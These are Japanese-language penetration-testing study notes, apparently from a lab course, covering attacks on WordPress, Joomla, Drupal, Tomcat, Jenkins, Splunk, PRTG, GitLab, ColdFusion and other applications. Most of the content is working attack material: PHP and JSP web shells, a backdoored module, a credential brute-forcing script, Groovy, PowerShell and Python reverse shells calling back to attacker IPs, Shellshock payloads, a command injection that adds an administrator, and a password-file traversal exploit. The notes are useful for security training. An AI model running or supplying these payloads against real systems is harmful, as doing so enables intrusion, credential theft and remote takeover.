WordPress

概要

ユーザー種別 説明
Administrator(管理者) ユーザーや投稿の追加・削除、ソースコードの編集も含めた全ての管理機能にアクセス可能
Editor(編集者) 自分および他人の投稿公開・管理が可能
Author(著者) 自分の投稿公開・管理できる
Contributor(寄稿者) 投稿の作成は可能だが、公開は不可
Subscriber(購読者) 投稿の閲覧と自分のプロフィール編集のみ可能

脆弱性

発見・フットプリンティング

ページソースを見ることでWordPressが使われているかを確認できる

curl -s http://blog.inlanefreight.local | grep WordPress
<meta name="generator" content="WordPress 5.8" /

ソースコードを読み進めると、使用中のテーマ、プラグイン、ユーザー名(投稿に公開されている場合)などが分かる

curl -s http://blog.inlanefreight.local/ | grep themes

<link rel='stylesheet' id='bootstrap-css'  href='http://blog.inlanefreight.local/wp-content/themes/business-gravity/assets/vendors/bootstrap/css/bootstrap.min.css' type='text/css' media='all' />

プラグインバージョンの特定

curl -s http://blog.inlanefreight.local/ | grep plugins

Linux・Windows共通のScrapyでもわかる

ユーザーの列挙

wpscan

インストール

sudo gem install wpscan

--enumerateフラグ

sudo wpscan --url http://tenten.htb/ random-user-agent --max-threads 10 --enumerate --api-token "API_KEY"

あんまりバイアスかかるの良くないけど、WordPressは、プラグインがOSSだからプラグインに脆弱性があること多いらしい

攻撃

ログインブルートフォース

sudo wpscan --password-attack xmlrpc -t 20 -U john -P /usr/share/wordlists/rockyou.txt --url http://blog.inlanefreight.local

RCE

themeのphpを改変する

安全なRCE

  1. サイドバーの「外観 (Appearance)」をクリック。
  2. 「テーマエディタ (Theme Editor)」を選択。
  3. 現在有効なテーマ(Transport Gravity)とは別の非アクティブなテーマ(例:Twenty Nineteen)を選ぶと、安全に改変できます。

404.php ファイルを編集して以下のコードを追加

system($_GET[0]);

404.phpにアクセスしてコマンドを作る

curl http://blog.inlanefreight.local/wp-content/themes/twentynineteen/404.php?0=id

Metasploit

msfconsole
use exploit/unix/webapp/wp_admin_shell_upload 
set rhosts blog.inlanefreight.local
set username john
set password firebird1
set lhost 10.10.14.15 
set rhost 10.129.42.195  
set VHOST blog.inlanefreight.local
show options
exploit

Joomla

発見とフットプリンティング

Joomlaを使っていることの確認

curl -s http://dev.inlanefreight.local/ | grep Joomla

<meta name="generator" content="Joomla! - Open Source Content Management" />

Joomla サイトの robots.txt ファイルの、disableからログイン・adminページのヒントを得られる

curl -s http://dev.inlanefreight.local/README.txt | head -n 5

1- What is this?
	* This is a Joomla! installation/upgrade package to version 3.x
	* Joomla! Official site: https://www.joomla.org
	* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
	* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
curl -s http://dev.inlanefreight.local/administrator/manifests/files/joomla.xml | xmllint --format -

Droopescan

インストール

sudo pip3 install droopescan

スキャン

droopescan scan joomla --url http://dev.inlanefreight.local/

JoomlaScan

依存関係のあるライブラリのインストール

sudo python2.7 -m pip install urllib3
sudo python2.7 -m pip install certifi
sudo python2.7 -m pip install bs4
git clone https://github.com/drego85/JoomlaScan.git
python2.7 joomlascan.py -u http://dev.inlanefreight.local

攻撃

ログインブルートフォース

上で実行したユーザー列挙を行うと、このようなメッセージが返ってきた
「ユーザー名とパスワードが一致しないか、まだアカウントが作成されていません。」

インストール

git clone https://github.com/ajnik/joomla-bruteforce.git

ブルートフォース

sudo python3 joomla-brute.py -u http://dev.inlanefreight.local -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin

組み込み機能の悪用でのRCE

まずAdministratorでログインする

"An error has occurred. Call to a member function format() on null"
system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']);
curl -s http://dev.inlanefreight.local/templates/protostar/error.php?dcfdd5e021a869fcc6dfaef8bf31377e=id

Drupal

Drupalのデフォルトユーザータイプは以下の3種類

Drupalの特徴として「ノード(nodes)」がある

発見とフットプリンティング

DrupalのWebサイトは、以下のような方法で特定できる

curl -s http://drupal.inlanefreight.local | grep Drupal

バージョン、インストールされているプラグインなどを特定できる

CHANGELOG.txt を使ってバージョン番号を特定する例

curl -s http://drupal-acc.inlanefreight.local/CHANGELOG.txt | grep -m2 ""

Drupal 7.57, 2018-02-21

droopescanでバージョンを特定する必要がある

インストール

sudo pip3 install droopescan

スキャン

droopescan scan drupal -u http://drupal.inlanefreight.local

攻撃

PHPフィルタモジュールの活用

<?php
system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']);
?>

以下のようにしてアクセスできる

curl -s http://drupal-qa.inlanefreight.local/node/3?dcfdd5e021a869fcc6dfaef8bf31377e=id | grep uid | cut -f4 -d">"

Drupal 8以降では、PHPフィルタモジュールはデフォルトではインストールされていない

wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz

バックドア付きモジュールのアップロード

アーカイブのダウンロードと展開

wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz

PHPウェブシェルの作成

<?php
system($_GET[fe8edbabc5c5c9b7b764504cd22b17af]);
?>

.htaccessファイルの作成

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>

ファイルをモジュールフォルダに配置し、再アーカイブ

mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/

Drupalでモジュールをアップロード

コマンドの実行

curl -s drupal.inlanefreight.local/modules/captcha/shell.php?fe8edbabc5c5c9b7b764504cd22b17af=id

Tomcat

構成

発見/フットプリンティング

http://app-dev.inlanefreight.local:8080/invalid

カスタムエラーページが使われていてバージョン情報が漏れない場合は、/docs ページを利用してバージョンを判定できる

curl -s http://app-dev.inlanefreight.local:8080/docs/ | grep Tomcat 

<html lang="en"><head><META http-equiv="Content-Type" content="text/html; charset=UTF-8"><link href="./images/docs-stylesheet.css" rel="stylesheet" type="text/css"><title>Apache Tomcat 9 (9.0.30) - Documentation Index</title><meta name="author" 
<SNIP>

確認すべきファイル

WEB-INF/web.xml(デプロイメントディスクリプタ)

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd">

<web-app>
  <servlet>
    <servlet-name>AdminServlet</servlet-name>
    <servlet-class>com.inlanefreight.api.AdminServlet</servlet-class>
  </servlet>

  <servlet-mapping>
    <servlet-name>AdminServlet</servlet-name>
    <url-pattern>/admin</url-pattern>
  </servlet-mapping>
</web-app>  

tomcat-users.xml

<role rolename="manager-gui" />
<user username="tomcat" password="tomcat" roles="manager-gui" />

<role rolename="admin-gui" />
<user username="admin" password="admin" roles="manager-gui,admin-gui" />

列挙

gobuster dir -u http://web01.inlanefreight.local:8180/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt 

攻撃

ブルートフォース

metasploitのauxiliary/scanner/http/tomcat_mgr_login、burpsuiteを使える

use auxiliary/scanner/http/tomcat_mgr_login
set VHOST web01.inlanefreight.local
set RPORT 8180
set stop_on_success true
set rhosts 10.129.201.58
#!/usr/bin/python

import requests
from termcolor import cprint
import argparse

parser = argparse.ArgumentParser(description = "Tomcat manager or host-manager credential bruteforcing")

parser.add_argument("-U", "--url", type = str, required = True, help = "URL to tomcat page")
parser.add_argument("-P", "--path", type = str, required = True, help = "manager or host-manager URI")
parser.add_argument("-u", "--usernames", type = str, required = True, help = "Users File")
parser.add_argument("-p", "--passwords", type = str, required = True, help = "Passwords Files")

args = parser.parse_args()

url = args.url
uri = args.path
users_file = args.usernames
passwords_file = args.passwords

new_url = url + uri
f_users = open(users_file, "rb")
f_pass = open(passwords_file, "rb")
usernames = [x.strip() for x in f_users]
passwords = [x.strip() for x in f_pass]

cprint("\n[+] Atacking.....", "red", attrs = ['bold'])

for u in usernames:
    for p in passwords:
        r = requests.get(new_url,auth = (u, p))

        if r.status_code == 200:
            cprint("\n[+] Success!!", "green", attrs = ['bold'])
            cprint("[+] Username : {}\n[+] Password : {}".format(u,p), "green", attrs = ['bold'])
            break
    if r.status_code == 200:
        break

if r.status_code != 200:
    cprint("\n[+] Failed!!", "red", attrs = ['bold'])
    cprint("[+] Could not Find the creds :( ", "red", attrs = ['bold'])
#print r.status_code

実行

python3 mgr_brute.py -U http://web01.inlanefreight.local:8180/ -P /manager -u /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt -p /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt

WARファイルアップロード

wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp

デプロイすると、Manager GUIにアップロードされ、その後、/backupアプリケーションがテーブルに追加される

そして、アクセスすると、webシェルが動いている

curl http://web01.inlanefreight.local:8180/backup/cmd.jsp?cmd=id

msfvenomの使用

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=4443 -f war > backup.war

Jenkins

発見/フットプリンティング

Jenkinsのポート構成

セキュリティ設定ページ

攻撃

コマンドの実行

スクリプトコンソールへのアクセス

id コマンドを実行するコマンド

def cmd = 'id'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout

リバースシェルの取得

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.14.15/8443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
nc -lvnp 8443

Windows上のJenkinsであれば、以下のようなコードで、Windows上でもコマンド実行が可能

def cmd = "cmd.exe /c dir".execute();
println("${cmd.text}");

JavaによるWindows用リバースシェル

String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Splunk

実務での観測

発見・フットプリンティング

デフォルトポートと認証情報

Splunkの発見には、nmapのサービススキャンが有効

sudo nmap -sV 10.129.201.50
<..SNIP..>
8000/tcp open  ssl/http      Splunkd httpd
8080/tcp open  http          Indy httpd 17.3.33.2830 (Paessler PRTG bandwidth monitor)
8089/tcp open  ssl/http      Splunkd httpd

列挙

認証なしで、ログインできた時こんなことができる

攻撃

windows上で実行されている場合

標準機能の悪用でのRCE

Windows

mkdir splunk_shell
cd splunk_shell
mkdir bin
mkdir default

PowerShellリバースシェルの例(ワンライナー)

nano bin/run.ps1

$client = New-Object System.Net.Sockets.TCPClient('10.10.14.15',8000);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(

bin/run.batに書くこと

nano bin/run.bat

@ECHO OFF
PowerShell.exe -exec bypass -w hidden -Command "& '%~dpn0.ps1'"
Exit

default/inputs.confの設定例

nano default/inputs.conf

[script://./bin/run.ps1]
disabled = 0  
interval = 10  
sourcetype = shell 

[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10

こうなってればおけ

cd ../
tree splunk_shell/
splunk_shell/
├── bin
│   ├── run.bat
│   └── run.ps1
└── default
    └── inputs.conf

tar.gzでアプリケーションをパッケージ化

tar -cvzf updater.tar.gz splunk_shell/

Splunk管理画面からアプリをアップロード

アップロード前にNetcatで待ち受けを開始する

sudo nc -lnvp 8000

listening on [any] 443 ...

アップロードページ

Linux

import sys,socket,os,pty

ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')

SplunkがDeployment Serverの場合

PRTG

発見/フットプリンティング/列挙

snowyowl644@htb[/htb]$ sudo nmap -sV -p- --open -T4 10.129.201.50

8080/tcp  open  http          Indy httpd 17.3.33.2830 (Paessler PRTG bandwidth monitor)

PRTGのデフォルトの資格情報

攻撃

RCE

`test.txt;net user prtgadm1 Pwn3d_by_PRTG! /add;net localgroup administrators prtgadm1 /add

列をクリックしないと、テストボタンが押せない

OsTicket

発見 / フットプリンティング / 列挙

攻撃

サポートベクトルを使った別の攻撃

攻撃の流れ
1. 対象企業のサポートポータルを見つける
2. チケットを新規作成する(問い合わせ内容は適当でもよい)
3. チケット作成後、内部メールアドレス(例:940288@inlanefreight.local)が発行される
4. そのメールアドレスを使って、外部サービス(GitLabやSlackなど)でアカウント作成を試みる
5. サインアップ時に送られる確認メールがサポートポータル上に表示される
6. そのメール内の確認リンクをクリックすることでアカウントが有効化され、内部情報へのアクセスなどが可能になる可能性がある

機密データの漏洩

攻撃手順
1. osTicket へのログインを試す
jclaytonではログインできなかったが、kevin@inlanefreight.localでログイン成功。
→ ユーザーは「サポート担当者」と思われる。
2. チケットの中身を確認する
サポート担当者が、VPNロックアウトされた社員に「標準の新入社員用パスワード」をポータル経由で送信していた。
→ このパスワードは、他の新入社員にも使われているかもしれない!
3. VPNログイン試行の可能性
パスワードが変更されていない場合、そのままVPNに使えるかも。

リスクと悪用例
• 標準パスワードの再利用
多くの企業では新入社員やパスワードリセット時に「共通のパスワード」を使う。
• パスワードポリシーが緩い企業では:
• ユーザーは初回ログイン時にパスワード変更を強制されない
• 結果として、そのままVPNやメールにログインできてしまう
• 他のユーザーにも攻撃可能
LinkedIn等から社員リストを作ってユーザー名を生成し、「パスワードスプレー攻撃」を仕掛けることが可能。
• アドレス帳の悪用
osTicketにはアドレス帳機能もあり、そこからユーザー名やメールを抜き出して攻撃に活用できる。

GitLab

発見と列挙

GitLabでは以下3種類のリポジトリが存在する

フットプリントと発見

過去の重大な脆弱性の例

列挙(Enumeration)

アカウント登録の試行

有効ユーザーの列挙(ユーザ名・メールアドレス)

攻撃

ユーザー名の列挙

./gitlab_userenum.sh --url http://gitlab.inlanefreight.local:8081/ --userlist users.txt

[+] The username root exists!
[+] The username bob exists!

認証後のRCE

python gitlab_userenum.py --url http://gitlab.inlanefreight.local:8081/ --wordlist /opt/useful/seclists/Usernames/Names/names.txt


[1] Authenticating
Successfully Authenticated
[2] Creating Payload 
[3] Creating Snippet and Uploading
[+] RCE Triggered !!
snowyowl644@htb[/htb]$ nc -lnvp 8443
connect to [10.10.14.15] from (UNKNOWN) [10.129.201.88] 60054

git@app04:~/gitlab-workhorse$ id
uid=996(git) gid=997(git) groups=997(git)

git@app04:~/gitlab-workhorse$ ls
VERSION
config.toml
flag_gitlab.txt
sockets

Tomcat CGI

CGI Servlet
CGI : Common Gateway Interface

CGI スクリプトの利点と欠点

利点 欠点
動的な Web コンテンツの生成が簡単で効果的。 各リクエストごとにプログラムをメモリにロードするためオーバーヘッドが発生。
標準入力を読み込み、標準出力に書き込める任意の言語を使用可能。 ページ間のリクエストでメモリにデータをキャッシュするのが難しい。
既存のコードを再利用でき、新たなコードの記述を避けられる。 サーバーのパフォーマンスを低下させ、多くの処理時間を消費する。

enableCmdLineArguments の役割

CGIの例
書店のカタログから本を検索する CGI スクリプトがあるとする

脆弱性の問題点

Tomcatが脆弱性あるバージョンに影響する

悪用例
攻撃者が次のような URL を使用した場合
http://example.com/cgi-bin/hello.bat?&dir

CGIスクリプト/アプリケーションが使用される主な理由

CGIの流れ

  1. CGIスクリプト/アプリケーションを格納するためのディレクトリがWebサーバー上に作成される(通常 /cgi-bin と呼ばれる)
  2. Webアプリケーションのユーザーが、たとえば https://acme.com/cgi-bin/newchiscript.pl のようなURLを通じてサーバーにリクエストを送信
  3. サーバーはスクリプトを実行し、出力結果をWebクライアントに返す

CGIの欠点

発見/フットプリンティング

nmap -p- -sC -Pn 10.129.204.227 --open

CGIスクリプトの発見

拡張子 .CMD でのファジング

ffuf -w /usr/share/dirb/wordlists/common.txt -u http://10.129.204.227:8080/cgi/FUZZ.cmd

拡張子 .BAT でのファジング

ffuf -w /usr/share/dirb/wordlists/common.txt -u http://10.129.204.227:8080/cgi/FUZZ.bat

発見されたURLへのアクセス

Welcome to CGI, this section is not functional yet. Please return to home page.

列挙

cgiのディレクトリを列挙する

gobuster dir -u http://10.129.205.27/ -w /usr/share/wordlists/dirb/common.txt

===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 278]
/.htaccess            (Status: 403) [Size: 278]
/.htpasswd            (Status: 403) [Size: 278]
/cgi-bin/             (Status: 403) [Size: 278]
/index.html           (Status: 200) [Size: 10918]
/server-status        (Status: 403) [Size: 278]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================

gobuster dir -u http://10.129.204.231/cgi-bin/ -w /usr/share/wordlists/dirb/small.txt -x cgi

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.204.231/cgi-bin/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              cgi
[+] Timeout:                 10s
===============================================================
2023/03/23 09:26:04 Starting gobuster in directory enumeration mode
===============================================================
/access.cgi           (Status: 200) [Size: 0]
                                             
===============================================================
2023/03/23 09:26:29 Finished

スクリプトの挙動を確認
次に、curl を使ってスクリプトへアクセスしてみる

curl -i http://10.129.204.231/cgi-bin/access.cgi

HTTP/1.1 200 OK
Date: Thu, 23 Mar 2023 13:28:55 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 0
Content-Type: text/html

攻撃

CGI経由でのShellshock攻撃

$ env y='() { :;}; echo vulnerable-shellshock' bash -c "echo not vulnerable"

not vulnerable

脆弱性の確認

Linux

curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd' bash -s :'' http://10.129.204.231/cgi-bin/access.cgi

Windows

curl -H "User-Agent: & type C:\Windows\System32\drivers\etc\hosts &" http://10.129.52.211/cgi/cmd.bat

リバースシェルによる侵入

curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.38/7777 0>&1' http://10.129.204.231/cgi-bin/access.cgi

ローカルで待ち受ける

sudo nc -lvnp 7777

厚いクライアントApp

アーキテクチャの分類

セキュリティリスク

薄型クライアント

攻撃

列挙と情報収集

Appのアーキテクチャ、プログラミング言語やフレームワークを特定

クライアントサイド攻撃

静的解析(Static Analysis)

動的解析(Dynamic Analysis)も並行して行うべき

ネットワークサイド攻撃

サーバーサイド攻撃

ハードコードされた認証情報の取得

一時ファイルを捕捉するために、Tempフォルダの削除権限を変更する

  1. フォルダ C:\Users\Matt\AppData\Local\Temp を右クリック
  2. 「プロパティ」 → 「セキュリティ」 → 「詳細設定」 を開く
  3. cybervaca ユーザーを選択
  4. 継承の無効化 → 継承されたアクセス許可をこのオブジェクト上の明示的なアクセス許可に変換
  5. 「編集」 → 「詳細なアクセス許可の表示」
  6. Delete subfolders and files と Delete のチェックを外す
C:\Apps>dir C:\Users\cybervaca\AppData\Local\Temp\2

...SNIP...
04/03/2023  02:09 PM         1,730,212 6F39.bat
04/03/2023  02:09 PM                 0 6F39.tmp

6F39.batの中身

@shift /0
@echo off

if %username% == matt goto correcto
if %username% == frankytech goto correcto
if %username% == ev4si0n goto correcto
goto error

:correcto
echo TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > c:\programdata\oracle.txt
echo AAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4g >> c:\programdata\oracle.txt
<SNIP>
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> c:\programdata\oracle.txt

echo $salida = $null; $fichero = (Get-Content C:\ProgramData\oracle.txt) ; foreach ($linea in $fichero) {$salida += $linea }; $salida = $salida.Replace(" ",""); [System.IO.File]::WriteAllBytes("c:\programdata\restart-service.exe", [System.Convert]::FromBase64String($salida)) > c:\programdata\monta.ps1
powershell.exe -exec bypass -file c:\programdata\monta.ps1
del c:\programdata\monta.ps1
del c:\programdata\oracle.txt
c:\programdata\restart-service.exe
del c:\programdata\restart-service.exe

monta.ps1の中身

C:\>  cat C:\programdata\monta.ps1

$salida = $null; $fichero = (Get-Content C:\ProgramData\oracle.txt) ; foreach ($linea in $fichero) {$salida += $linea }; $salida = $salida.Replace(" ",""); [System.IO.File]::WriteAllBytes("c:\programdata\restart-service.exe", [System.Convert]::FromBase64String($salida))

実行後のファイル構成

:\>  ls C:\programdata\

Mode                LastWriteTime         Length Name
<SNIP>
-a----        3/24/2023   1:01 PM            273 monta.ps1
-a----        3/24/2023   1:01 PM         601066 oracle.txt
-a----        3/24/2023   1:17 PM         432273 restart-service.exe

restart-service.exe を実行すると、以下のようなバナーが表示される

C:\>  .\restart-service.exe

    ____            __             __     ____                  __
   / __ \___  _____/ /_____ ______/ /_   / __ \_________ ______/ /__
  / /_/ / _ \/ ___/ __/ __ `/ ___/ __/  / / / / ___/ __ `/ ___/ / _ \
 / _, _/  __(__  ) /_/ /_/ / /  / /_   / /_/ / /  / /_/ / /__/ /  __/
/_/ |_|\___/____/\__/\__,_/_/   \__/   \____/_/   \__,_/\___/_/\___/

                                                by @HelpDesk 2010


PS C:\ProgramData>

ProcMon64 を使って restart-service.exe の実行を監視すると、レジストリのさまざまなキーを参照していることがわかる

x64dbgによる逆アセンブル開始

メモリマップの確認

MZシグネチャの発見とメモリダンプ

ダンプファイルの解析

C:\> C:\TOOLS\Strings\strings64.exe .\restart-service_00000000001E0000.bin

<SNIP>
"#M
z\V
).NETFramework,Version=v4.0,Profile=Client
FrameworkDisplayName
.NET Framework 4 Client Profile
<SNIP>

de4dotで.NETの難読化解除

de4dot v3.1.41592.3405

Detected Unknown Obfuscator (C:\Users\cybervaca\Desktop\restart-service_00000000001E0000.bin)
Cleaning C:\Users\cybervaca\Desktop\restart-service_00000000001E0000.bin
Renaming all obfuscated symbols
Saving C:\Users\cybervaca\Desktop\restart-service_00000000001E0000-cleaned.bin


Press any key to exit...

dnSpyでソースコードを閲覧

解析結果

厚いwebクライアントAPP

そもそも「厚いクライアント(Thick Client)」とは?

調査の流れ(今回の例)

C:\> echo 10.10.10.174    server.fatty.htb >> C:\Windows\System32\drivers\etc\hosts

JARファイルの解析と改ざん

C:\> ls fatty-client\

<SNIP>
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----       10/30/2019  12:10 PM                htb
d-----       10/30/2019  12:10 PM                META-INF
d-----        4/26/2017  12:09 AM                org
------       10/30/2019  12:10 PM           1550 beans.xml
------       10/30/2019  12:10 PM           2230 exit.png
------       10/30/2019  12:10 PM           4317 fatty.p12
------       10/30/2019  12:10 PM            831 log4j.properties
------        4/26/2017  12:08 AM            299 module-info.class
------       10/30/2019  12:10 PM          41645 spring-beans-3.0.xsd
C:\> ls fatty-client\ -recurse | Select-String "8000" | Select Path, LineNumber | Format-List

Path       : C:\Users\cybervaca\Desktop\fatty-client\beans.xml
LineNumber : 13
C:\> cat fatty-client\beans.xml

<SNIP>
<!-- Here we have an constructor based injection, where Spring injects required arguments inside the
         constructor function. -->
   <bean id="connectionContext" class = "htb.fatty.shared.connection.ConnectionContext">
      <constructor-arg index="0" value = "server.fatty.htb"/>
      <constructor-arg index="1" value = "8000"/>
   </bean>

<!-- The next to beans use setter injection. For this kind of injection one needs to define an default
constructor for the object (no arguments) and one needs to define setter methods for the properties. -->
   <bean id="trustedFatty" class = "htb.fatty.shared.connection.TrustedFatty">
      <property name = "keystorePath" value = "fatty.p12"/>
   </bean>

   <bean id="secretHolder" class = "htb.fatty.shared.connection.SecretHolder">
      <property name = "secret" value = "clarabibiclarabibiclarabibi"/>
   </bean>
<SNIP>

改ざん時の注意点

C:\> cat fatty-client\META-INF\MANIFEST.MF

Manifest-Version: 1.0
Archiver-Version: Plexus Archiver
Built-By: root
Sealed: True
Created-By: Apache Maven 3.3.9
Build-Jdk: 1.8.0_232
Main-Class: htb.fatty.client.run.Starter

Name: META-INF/maven/org.slf4j/slf4j-log4j12/pom.properties
SHA-256-Digest: miPHJ+Y50c4aqIcmsko7Z/hdj03XNhHx3C/pZbEp4Cw=

Name: org/springframework/jmx/export/metadata/ManagedOperationParamete
 r.class
SHA-256-Digest: h+JmFJqj0MnFbvd+LoFffOtcKcpbf/FD9h2AMOntcgw=
<SNIP>

修正済みJARの再作成と実行

C:\> cd .\fatty-client
C:\> jar -cmf .\META-INF\MANIFEST.MF ..\fatty-client-new.jar *

初心者にとっての学びポイント

アプリへのログイン後の操作

情報収集

パストラバーサル攻撃

Javaコードの修正と再ビルド

パストラバーサル成功と興味深いファイル

ファイルのダウンロード機能の追加

ColdFusion

利点 説明
データ駆動型 Web アプリ開発 セッション管理、フォーム処理、デバッグ機能などにより、リッチで応答性の高い Web アプリケーションを迅速に構築可能。
データベースとの統合 Oracle、SQL Server、MySQL などとの接続が簡単。データの取得・操作・表示がしやすい。
Webコンテンツ管理の簡素化 動的HTML生成、フォーム作成、URL書き換え、ファイルアップロード、大規模フォームの処理が容易。AJAX 対応も可能。
パフォーマンス 低レイテンシー・高スループットに最適化され、同時接続数が多くても安定した動作を維持。
コラボレーション リアルタイムのコード共有、デバッグ、バージョン管理など、チーム開発を支援。
セキュリティと脆弱性

ColdFusion がデフォルトで開放しているポート

ポート番号 プロトコル 用途
80 HTTP Webサーバーとブラウザ間の非暗号化通信
443 HTTPS Webサーバーとブラウザ間の暗号化通信
1935 RPC クライアント・サーバー間のRPC通信
25 SMTP メール送信
8500 SSL ColdFusionサーバーとのSSL通信
5500 Server Monitor ColdFusion サーバーのリモート管理用

列挙と情報収集

方法 説明
ポートスキャン ColdFusion は通常、HTTP 用にポート 80、HTTPS 用にポート 443 を使用する。
これらのポートをスキャンすることで、ColdFusion サーバーの存在が示唆される場合がある。
Nmap のサービススキャンで ColdFusion を特定できることもある
ファイル拡張子 ColdFusion のページは通常、.cfm や .cfc といったファイル拡張子を使用する。
これらの拡張子を持つファイルを発見した場合、アプリケーションが ColdFusion を使用している可能性がある
HTTP ヘッダー Web アプリケーションの HTTP 応答ヘッダーを確認する
ColdFusion は特有のヘッダー(例:“Server: ColdFusion” や “X-Powered-By: ColdFusion”)を設定している。
エラーメッセージ アプリケーションでエラーが発生した場合、そのエラー内容に ColdFusion 固有のタグや関数名が含まれていることがある
デフォルトファイル ColdFusion をインストールすると、admin.cfmCFIDE/administrator/index.cfm などのデフォルトファイルが作成される
これらのファイルが Web サーバー上に存在していれば、ColdFusion が使われている可能性が高い

攻撃

Directory Traversal

攻撃対象のコード

<cfdirectory directory="#ExpandPath('uploads/')#" name="fileList">
<cfloop query="fileList">
    <a href="uploads/#fileList.name#">#fileList.name#</a><br>
</cfloop>

しかし、directory パラメータに対するバリデーションがないため、攻撃者は以下のように入力を改ざんできる

http://example.com/index.cfm?directory=../../../etc/&file=passwd

影響を受けるファイル例

攻撃の例:locale パラメータの改ざん

password.properties ファイル

CVEのPoCの実行方法

snowyowl644@htb[/htb]$ python2 14641.py 10.129.204.230 8500 "../../../../../../../../ColdFusion8/lib/password.properties"

------------------------------
trying /CFIDE/wizards/common/_logintowizard.cfm
title from server in /CFIDE/wizards/common/_logintowizard.cfm:
------------------------------
#Wed Mar 22 20:53:51 EET 2017
rdspassword=0IA/F[[E>[$_6& \\Q>[K\=XP  \n
password=2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03
encrypted=true
------------------------------
...

Unauthenticated RCE

以下のようなコードで、RCEが発生することが多い

<cfset cmd = "#cgi.query_string#">
<cfexecute name="cmd.exe" arguments="/c #cmd#" timeout="5">

以下のように、エンコードして実行する

# Decoded: http://www.example.com/index.cfm?; echo "This server has been compromised!" > C:\compromise.txt

http://www.example.com/index.cfm?%3B%20echo%20%22This%20server%20has%20been%20compromised%21%22%20%3E%20C%3A%5Ccompromise.txt

有名なColdFusionのUnAuthenticated RCE

IIS

IIS : Internet Information Services

8.3形式のファイル名とは

IIS チルダ(~)列挙

列挙のステップ
たとえば、ターゲットサーバーに SecretDocuments という隠しディレクトリがあったとする

ディレクトリの列挙

1文字の試行

http://example.com/~a
http://example.com/~b
http://example.com/~c
...

文字を追加して再試行

http://example.com/~se
http://example.com/~sf
http://example.com/~sg
...

その後も文字を追加して再試行する

http://example.com/~sec
http://example.com/~sed
http://example.com/~see

ファイル名の列挙

http://example.com/secret~1/somefile.txt
http://example.com/secret~1/anotherfile.docx

ファイル自体の 8.3 短縮名の列挙も可能

同じディレクトリに以下の2つのファイルが存在する場合

自動化ツール : IIS ShortName Scanner

インストール

git clone https://github.com/irsdl/IIS-ShortName-Scanner.git

実行

java -jar iis_shortname_scanner.jar 0 5 http://10.129.204.231/

Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Do you want to use proxy [Y=Yes, Anything Else=No]? 
# IIS Short Name (8.3) Scanner version 2023.0 - scan initiated 2023/03/23 15:06:57
Target: http://10.129.204.231/
|_ Result: Vulnerable!
|_ Used HTTP method: OPTIONS
|_ Suffix (magic part): /~1/
|_ Extra information:
  |_ Number of sent requests: 553
  |_ Identified directories: 2
    |_ ASPNET~1
    |_ UPLOAD~1
